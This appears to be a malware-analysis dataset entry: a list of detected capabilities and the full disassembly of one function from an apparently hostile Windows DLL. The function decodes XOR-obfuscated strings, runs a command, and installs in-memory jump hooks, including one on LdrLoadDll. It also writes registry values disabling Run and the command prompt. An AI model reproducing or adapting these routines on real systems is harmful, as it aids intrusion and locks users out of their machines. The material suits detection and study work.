Function at 0x10008b70
Capabilities:
Allocate or change rwx memory
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3e4
mov eax, dword [0x10025018]
xor eax, esp
mov dword [esp + 0x3e0], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1000963a
lea eax, [esp + 0x1d8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0xdf
xor esi, esi
lea ebx, [eax + 0x20]
mov cl, byte [esi + 0x1001fdfc]
xor cl, al
inc eax
mov byte [esp + esi + 0x9c], cl
inc esi
and eax, ebx
cmp esi, 0x36
jb 0x10008bc2
lea edx, [esp + 0x1d8]
push edx
lea eax, [esp + 0xa0]
push eax
lea ecx, [esp + 0x2e8]
push ecx
mov byte [esp + 0xde], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea edx, [esp + 0xa0]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea eax, [esp + 0x2e4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea ecx, [esp + 0x1dc]
push 0
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea edx, [esp + 0x2e4]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x94
lea eax, [esp + 0x114]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [esp + 0x110]
push ecx
mov dword [esp + 0x114], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x114], 6
ja 0x10008ca2
cmp dword [esp + 0x118], 1
ja 0x10008ca2
mov byte [0x11282a2a], 1
jmp 0x10008cab
push edi
call fcn.10015ac0
add esp, 4
mov ecx, 0x1f247c3b
lea eax, [esp + 0x38]
call fcn.10009740
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov word [esp + 0x40], ax
mov byte [esp + 0x42], al
mov ecx, 0x5cc78303
lea eax, [esp + 0x64]
call fcn.10009bb0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x68], ecx
mov word [esp + 0x6c], cx
call eax
mov byte [0x11282a5d], 1
call fcn.100047e0
mov esi, 0x10
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xc708c483
mov dword [esp + 0x1ac], 0xffffff05
mov dword [esp + 0x1b0], 0x46ff
mov dword [esp + 0x1b4], 0x68006a00
call fcn.10015920
test eax, eax
je 0x10008da2
mov edx, dword [eax + 0x1f]
lea esi, [eax + 0x1e]
lea edi, [esi + edx + 5]
lea eax, [edi + 0xa]
mov dword [0x10025368], eax
mov ecx, dword [eax + 1]
lea edx, [eax + ecx + 5]
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push edi
mov dword [0x10025368], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
push eax
mov ecx, 0x10004ee0
sub ecx, edi
push 5
sub ecx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.10013a10
jmp 0x10008dcd
mov eax, 0xef
xor esi, esi
lea esp, [esp]
mov cl, byte [esi + 0x1001fe40]
xor cl, al
inc eax
mov byte [esp + esi + 0x1a8], cl
inc esi
and eax, ebx
cmp esi, 0x11
jb 0x10008db0
call fcn.100139d0
mov esi, 0x1b
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffffffff
mov dword [esp + 0x1b0], 0xffff8b32
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0x78ffffff
mov dword [esp + 0x1bc], 0x8bffff89
mov word [esp + 0x1c0], 0x8ff
mov byte [esp + 0x1c2], 0x51
call fcn.10015920
test eax, eax
je 0x100090ff
mov edx, dword [eax + 1]
mov esi, 0x21
lea edi, [esp + 0x1a8]
mov dword [0x11282aa8], edx
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffff89ff
mov dword [esp + 0x1b0], 0x83ffffff
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0xffff02ff
mov dword [esp + 0x1bc], 0xffffff83
mov dword [esp + 0x1c0], 0x7404ffff
mov dword [esp + 0x1c4], 0x6affebff
mov byte [esp + 0x1c8], 0
call fcn.10015920
mov dword [0x11282aac], eax
test eax, eax
je 0x10008ec7
mov eax, dword [eax + 1]
mov dword [0x11282aac], eax
jmp 0x10008f15
mov eax, 0xba
xor esi, esi
mov edi, edi
mov cl, byte [esi + 0x1001fe54]
xor cl, al
inc eax
mov byte [esp + esi + 0x44], cl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10008ed0
lea edx, [esp + 0x44]
push edx
push 0
mov ecx, 0x10125568
mov byte [esp + 0x5b], 0
call fcn.1000aff0
xor eax, eax
add esp, 8
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call fcn.100139d0
mov esi, 0x17
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0x8e68
mov dword [esp + 0x1ac], 0xc16800
mov dword [esp + 0x1b0], 0xff8d0000
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0xffffffe8
mov word [esp + 0x1bc], 0x6aff
mov byte [esp + 0x1be], 2
call fcn.10015920
mov dword [esp + 0x10], eax
test eax, eax
je 0x100090d7
mov esi, 0x1b
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffffffff
mov dword [esp + 0x1b0], 0xffff8b32
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0x78ffffff
mov dword [esp + 0x1bc], 0x8bffff89
mov word [esp + 0x1c0], 0x8ff
mov byte [esp + 0x1c2], 0x51
call fcn.10015920
mov dword [0x11282a18], eax
test eax, eax
je 0x10008ff3
mov eax, dword [eax + 0xb]
mov dword [0x11282a18], eax
jmp 0x1000901d
mov eax, 0x67
xor esi, esi
lea ebx, [ebx]
mov cl, byte [esi + str.4__58]
xor cl, al
inc eax
mov byte [esp + esi + 0x1a8], cl
inc esi
and eax, ebx
cmp esi, 0x12
jb 0x10009000
call fcn.100139d0
mov eax, dword [esp + 0x10]
mov edx, dword [eax + 0x48]
mov ecx, dword [eax + edx + 0x57]
lea eax, [eax + edx + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x11282a10], ecx
add ecx, 0x2d
mov dword [0x11282a0c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x11282a0c], ecx
mov edx, dword [eax + 0x26]
mov dword [0x11282a14], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10025378], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025378], ecx
lea ecx, [eax + 0x21]
mov dword [0x1002536c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1002536c], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10025370], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025370], ecx
lea ecx, [eax + 0x42]
mov dword [0x10025374], ecx
mov edx, dword [ecx + 1]
mov dword [0x11282a08], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x1002537c], eax
mov dword [0x10025374], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x1002537c], eax
mov dword [0x11282ab0], 0x100057e0
jmp 0x1000914b
mov eax, 0x72
xor esi, esi
mov edi, edi
mov cl, byte [esi + 0x1001fe78]
xor cl, al
inc eax
mov byte [esp + esi + 0x1a8], cl
inc esi
and eax, ebx
cmp esi, 0x1b
jb 0x100090e0
call fcn.100139d0
jmp 0x1000914b
mov eax, 0x82
xor esi, esi
mov dl, byte [esi + 0x1001fe94]
xor dl, al
inc eax
mov byte [esp + esi + 0x54], dl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10009106
lea eax, [esp + 0x54]
push eax
push 0
mov ecx, 0x10125568
mov byte [esp + 0x6b], 0
call fcn.1000aff0
xor eax, eax
add esp, 8
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call fcn.100139d0
mov esi, 0x30
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffe8c88b
mov dword [esp + 0x1ac], 0xe8ffffff
mov dword [esp + 0x1b0], 0xffffffff
mov dword [esp + 0x1b4], 0xffffffe8
mov dword [esp + 0x1b8], 0xffffe8ff
mov dword [esp + 0x1bc], 0xffe8ffff
mov dword [esp + 0x1c0], 0xe8ffffff
mov dword [esp + 0x1c4], 0xffffffff
mov dword [esp + 0x1c8], 0xffffffe8
mov dword [esp + 0x1cc], 0xffffe8ff
mov dword [esp + 0x1d0], 0x1b0ffff
mov dword [esp + 0x1d4], 0xc35de58b
call fcn.10015920
mov dword [0x10130494], eax
test eax, eax
je 0x1000923a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [eax + 0x20]
mov dword [0x1063053c], ecx
lea edi, [eax + 0x1b]
lea ecx, [esp + 0x10]
push ecx
mov dword [0x10630538], edi
mov edx, dword [edi + 1]
push 0x40
push 5
lea eax, [edi + edx + 5]
push edi
mov dword [0x10630538], eax
call esi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push ecx
mov edx, 0x10005960
sub edx, edi
push 5
sub edx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], edx
call esi
jmp 0x10009245
call fcn.100139d0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [0x11282a10]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x76
push edi
call esi
push 0x76
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x76
push edi
call esi
mov edi, dword [0x11282a08]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x1e0
push edi
call esi
push 0x1e0
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x1e0
push edi
call esi
mov edi, dword [0x11282a14]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x33
push edi
call esi
push 0x33
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x33
push edi
call esi
mov edi, dword [0x11282a14]
lea edx, [esp + 0x10]
push edx
push 0x40
push 5
push edi
call esi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push ecx
push edx
mov eax, 0x10005590
sub eax, edi
push 5
sub eax, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], eax
call esi
push 0x500000
push 0
push 0x10130538
call sub.MSVCR100.dll_memset
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x500000
push 0x10130538
push 0x400000
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
jmp 0x10009350
mov cl, byte [eax + 0x10130538]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130538], cl
inc eax
cmp eax, 0x500000
jb 0x10009350
push 0xa0
push 0
push 0x10130498
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x10130498
push 0x10005590
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10130498]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10130498], dl
inc eax
cmp eax, 0xa0
jb 0x100093a0
push 0x7c
push 0
push 0x10130418
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x10130418
push fcn.10004fe0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
mov cl, byte [eax + 0x10130418]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130418], cl
inc eax
cmp eax, 0x7c
jb 0x100093e4
push 0x52f
push 0
push 0x1012fee8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x52f
push 0x1012fee8
push fcn.10005060
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x1012fee8]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x1012fee8], dl
inc eax
cmp eax, 0x52f
jb 0x10009430
push 0x32
push 0
push 0x1012fe7c
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x32
push 0x1012fe7c
push 0x1000df50
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor edi, edi
xor eax, eax
jmp 0x10009480
mov cl, byte [eax + 0x1012fe7c]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x1012fe7c], cl
inc eax
cmp eax, 0x32
jb 0x10009480
mov dword [esp + 0x18], edi
mov eax, 6
mov dl, byte [edi + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor dl, al
inc eax
mov byte [esp + edi + 0xd4], dl
inc edi
and eax, ebx
cmp edi, 0x3b
jb 0x100094a1
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xd8]
push ecx
push closesocket
mov byte [esp + 0x11b], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0x3c
lea edx, [esp + 0xd8]
push 0
push edx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x20]
add esp, 0xc
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push 0
lea ecx, [esp + 0x34]
push ecx
push edx
mov dword [esp + 0x3c], 0x75526f4e
mov word [esp + 0x40], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor eax, eax
mov dword [esp + 0x24], eax
mov word [esp + 0x28], ax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0xa1
xor edi, edi
mov cl, byte [edi + 0x1001fee0]
xor cl, al
inc eax
mov byte [esp + edi + 0x70], cl
inc edi
and eax, ebx
cmp edi, 0x2a
jb 0x10009534
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x74]
push eax
push closesocket
mov byte [esp + 0xa6], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0x2b
lea ecx, [esp + 0x74]
push 0
push ecx
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x20]
add esp, 0xc
push 4
lea edx, [esp + 0x1c]
push edx
push 4
push 0
lea eax, [esp + 0x3c]
push eax
push ecx
mov dword [esp + 0x44], 0x61736944
mov dword [esp + 0x48], 0x43656c62
mov word [esp + 0x4c], 0x444d
mov byte [esp + 0x4e], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
xor eax, eax
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov word [esp + 0x38], ax
mov byte [esp + 0x3a], al
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x20]
push str.LdrLoadDll
push str.Ntdll.dll
mov dword [0x11282a24], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10009627
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 6
push 0x11282ac8
call esi
mov edx, dword [edi]
mov dword [0x11282ac8], edx
mov edx, dword [esp + 0x10]
mov ax, word [edi + 4]
lea ecx, [esp + 0x10]
push ecx
push edx
push 6
push 0x11282ac8
mov word [0x11282acc], ax
call esi
call fcn.100110e0
xor edx, edx
xor ecx, ecx
mov edi, 0x10008110
call fcn.100159d0
mov ecx, dword [esp + 0x3ec]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10018c88
mov esp, ebp
pop ebp
ret 0xc